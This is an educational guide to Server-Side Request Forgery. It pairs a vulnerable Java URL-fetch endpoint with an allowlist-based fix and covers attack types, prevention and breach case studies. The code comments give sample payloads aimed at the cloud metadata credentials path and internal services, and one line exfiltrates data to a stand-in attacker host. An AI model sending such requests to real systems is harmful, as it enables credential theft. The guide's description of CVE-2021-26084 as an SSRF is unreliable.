Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) is a critical web security vulnerability that allows attackers to manipulate server-side applications into making HTTP requests to arbitrary destinations. This can lead to unauthorized access to internal systems, cloud metadata exploitation, and data exfiltration from networks that should be isolated from external access.
What Is Server-Side Request Forgery?
Server-Side Request Forgery (SSRF) is a vulnerability that occurs when an application accepts a user-supplied URL and fetches its content without properly validating or restricting the destination. The key danger is that the server makes these requests from within its own network context, with access to internal resources and services that external attackers cannot reach directly.
Unlike client-side attacks where the victim's browser makes malicious requests, SSRF exploits the server's trusted position within the network. The application server often has access to internal APIs, cloud metadata endpoints, databases, and administrative interfaces that are protected from external access by firewalls and network segmentation. When an attacker can control where the server sends requests, they effectively bypass these security controls.
SSRF has become increasingly dangerous with the widespread adoption of cloud infrastructure. Cloud providers like AWS, Azure, and GCP expose metadata endpoints (such as http://169.254.169.254/) that contain sensitive information including IAM credentials, API keys, and configuration data. These endpoints are designed to be accessible only from within the cloud instance, but SSRF vulnerabilities allow attackers to exploit them remotely.
How It Works
The application provides functionality that requires fetching external resources, such as a webhook configuration, URL preview generator, PDF generator from a URL, or an image proxy. The user supplies a URL that the server will fetch.
The application takes the user-supplied URL and initiates an HTTP request from the server. This request originates from within the server's network context, with all the access privileges that the server possesses. The application may use libraries like HttpClient, RestTemplate, or curl to fetch the resource.
Instead of providing a legitimate external URL, the attacker supplies an internal address such as http://localhost:6379 (Redis), http://169.254.169.254/latest/meta-data/ (AWS metadata), or http://internal-admin.local/api/users. The attacker may also use URL obfuscation techniques like alternative IP encodings or DNS rebinding.
The server, trusting the input, makes an HTTP request to the attacker-specified destination. Because this request originates from the server itself, it bypasses firewalls, network segmentation, and IP allowlists that would normally block external access to these internal resources.
Depending on the vulnerability type, the server may return the response directly to the attacker (classic SSRF), exhibit different behavior based on the response (blind SSRF), or simply execute the request without feedback (semi-blind SSRF). Even without direct response access, attackers can exfiltrate data through DNS queries or timing attacks.
Vulnerable Code Example
@RestController
public class WebhookController {
@Autowired
private RestTemplate restTemplate;
@PostMapping("/api/fetch-url")
public ResponseEntity<String> fetchUrl(@RequestBody UrlRequest request) {
String url = request.getUrl();
// VULNERABLE: No validation on user-supplied URL
// Server will make requests to ANY destination
// including internal services and cloud metadata endpoints
try {
ResponseEntity<String> response = restTemplate.getForEntity(
url,
String.class
);
return ResponseEntity.ok(response.getBody());
} catch (Exception e) {
return ResponseEntity.status(500)
.body("Error fetching URL: " + e.getMessage());
}
}
}
// An attacker can access internal resources:
// POST /api/fetch-url
// {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
//
// Or scan internal network:
// {"url": "http://internal-db:5432"}
//
// Or access admin interfaces:
// {"url": "http://localhost:8080/admin/users"}Secure Code Example
@RestController
public class WebhookController {
@Autowired
private RestTemplate restTemplate;
// Allowlist of permitted domains
private static final Set<String> ALLOWED_DOMAINS = Set.of(
"api.example.com",
"webhook.partner.com"
);
@PostMapping("/api/fetch-url")
public ResponseEntity<String> fetchUrl(@RequestBody UrlRequest request) {
String url = request.getUrl();
// SECURE: Comprehensive URL validation
if (!isUrlSafe(url)) {
return ResponseEntity.badRequest()
.body("URL not allowed");
}
try {
ResponseEntity<String> response = restTemplate.getForEntity(
url,
String.class
);
return ResponseEntity.ok(response.getBody());
} catch (Exception e) {
return ResponseEntity.status(500)
.body("Error fetching URL");
}
}
private boolean isUrlSafe(String urlString) {
try {
URL url = new URL(urlString);
// 1. Only allow HTTP/HTTPS protocols
String protocol = url.getProtocol().toLowerCase();
if (!protocol.equals("http") && !protocol.equals("https")) {
return false;
}
// 2. Domain must be in allowlist
String host = url.getHost().toLowerCase();
if (!ALLOWED_DOMAINS.contains(host)) {
return false;
}
// 3. Resolve hostname and block internal IPs
InetAddress address = InetAddress.getByName(host);
if (address.isLoopbackAddress() ||
address.isLinkLocalAddress() ||
address.isSiteLocalAddress()) {
return false;
}
// 4. Block cloud metadata endpoint
if (address.getHostAddress().equals("169.254.169.254")) {
return false;
}
return true;
} catch (Exception e) {
return false;
}
}
}
// Now attackers cannot:
// - Access localhost or internal IPs
// - Use non-HTTP protocols (file://, gopher://, etc.)
// - Reach cloud metadata endpoints
// - Access domains not in the allowlistTypes of Server-Side Request Forgery
Basic (In-band) SSRF
The most straightforward type where the application fetches a resource and returns the response directly to the attacker. The attacker can see the full HTTP response body, headers, and status codes. This is the most dangerous variant as it allows immediate access to sensitive data from internal services, cloud metadata endpoints, and admin interfaces. Attackers can extract credentials, configuration files, and source code directly through the application's response.
Blind SSRF
Occurs when the server makes the request but the response is not returned to the attacker. The attacker must infer information through side channels such as timing attacks (measuring how long requests take), error messages (observing different error conditions), or out-of-band techniques like DNS exfiltration. For example, an attacker might make the server query http://attacker.com/?data=stolen to receive data through DNS logs.
Semi-blind SSRF
A middle ground where some information leaks back but not the full response. This might include HTTP status codes, response sizes, or partial error messages. Attackers can use this limited feedback to enumerate internal services, discover open ports, or map internal network topology. Even knowing whether a service exists at a particular IP address (based on connection success vs. timeout) provides valuable reconnaissance information for further attacks.
Impact
SSRF vulnerabilities can have severe consequences, particularly in cloud environments where the attack surface includes sensitive metadata services and internal APIs that are normally inaccessible from the internet.
Attackers can access cloud provider metadata endpoints (AWS, Azure, GCP) to steal IAM role credentials, API keys, and authentication tokens. These credentials often have extensive permissions to create resources, access databases, and modify infrastructure. The Capital One breach in 2019 exploited SSRF to steal AWS credentials from the metadata endpoint, leading to the compromise of over 100 million customer records.
SSRF allows attackers to use the vulnerable server as a proxy to scan internal networks, discover running services, identify vulnerable applications, and map network topology. This reconnaissance enables attackers to find additional attack vectors against internal systems that are protected from direct external access by firewalls and network segmentation.
Many internal services are not designed with security in mind since they are assumed to be accessible only from trusted sources. SSRF can be used to exploit vulnerable internal services like Redis (via gopher:// protocol), Memcached, or internal admin APIs. Attackers can execute arbitrary commands, modify configurations, or upload malicious code through these services.
SSRF enables attackers to access databases, internal APIs, file shares, and other data stores that are intentionally isolated from the internet. The attacker can read sensitive business data, customer information, source code, and configuration files. In cloud environments, this includes accessing S3 buckets, database instances, and secret management services using stolen credentials.
Prevention Checklist
Only allow requests to explicitly permitted domains or IP addresses. Allowlists are far more secure than blocklists because attackers constantly find new bypass techniques (IP encoding, DNS rebinding, redirects). Maintain a strict list of approved external services and reject all other destinations by default.
Validate that resolved IP addresses are not private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), link-local (169.254.0.0/16), or the cloud metadata endpoint (169.254.169.254). Perform DNS resolution yourself and validate the IP before making requests to prevent DNS rebinding attacks where a domain initially resolves to a safe IP but later changes to an internal IP.
Restrict allowed URL schemes to HTTP and HTTPS only. Disable support for file://, gopher://, ftp://, dict://, and other protocols that attackers can abuse to interact with internal services or read local files. Many HTTP client libraries support multiple protocols by default, so explicitly configure them to reject non-HTTP(S) schemes.
Use network-level controls to limit which external resources your application servers can reach. Place application servers in isolated network segments with strict egress filtering. Block outbound access to cloud metadata services at the firewall level (block 169.254.169.254). This defense-in-depth approach limits damage even if an SSRF vulnerability exists.
If running on AWS, configure EC2 instances to require IMDSv2 (Instance Metadata Service Version 2), which uses session-oriented requests that are not vulnerable to SSRF. IMDSv2 requires a PUT request to establish a session before accessing metadata, making it significantly harder to exploit through SSRF vulnerabilities that typically use GET requests.
If you must display fetched content to users, treat all external data as untrusted. Validate response content types, sanitize HTML to prevent XSS, and limit response sizes to prevent denial of service. Never directly pass error messages containing internal URLs or IP addresses back to users as these can leak network topology information.
Real-World Examples
Capital One Data Breach
One of the most significant SSRF attacks in history. A former Amazon employee exploited an SSRF vulnerability in Capital One's web application firewall (WAF) configuration to access the AWS metadata endpoint and steal IAM role credentials. Using these credentials, the attacker accessed over 700 S3 buckets containing personal information of approximately 106 million Capital One customers and applicants. Capital One was fined $80 million by banking regulators.
Microsoft Power Apps SSRF
Researchers discovered SSRF vulnerabilities in Microsoft Power Apps that allowed attackers to access Azure metadata endpoints and steal managed identity tokens. These tokens could then be used to access Azure resources belonging to other tenants. The vulnerability affected millions of Power Apps deployments and highlighted the risks of SSRF in cloud environments where metadata services contain powerful authentication credentials.
Atlassian Confluence SSRF
A critical SSRF vulnerability (CVE-2021-26084) in Atlassian Confluence allowed unauthenticated attackers to interact with internal services. The vulnerability was in Confluence's URL preview feature and allowed attackers to scan internal networks, access cloud metadata endpoints, and execute arbitrary code through vulnerable internal services. The flaw affected thousands of organizations and was actively exploited in the wild within hours of disclosure.
Google Cloud SSRF Vulnerabilities
Security researchers demonstrated multiple SSRF vulnerabilities in Google Cloud Platform services including App Engine and Cloud Functions. These vulnerabilities allowed attackers to access the GCP metadata endpoint at metadata.google.internal and steal service account tokens with extensive permissions. Google patched the vulnerabilities and implemented additional metadata service protections, but the research highlighted how SSRF poses unique risks in cloud environments.
Ready to Test Your Knowledge?
Put what you have learned into practice. Try identifying and fixing SSRF vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.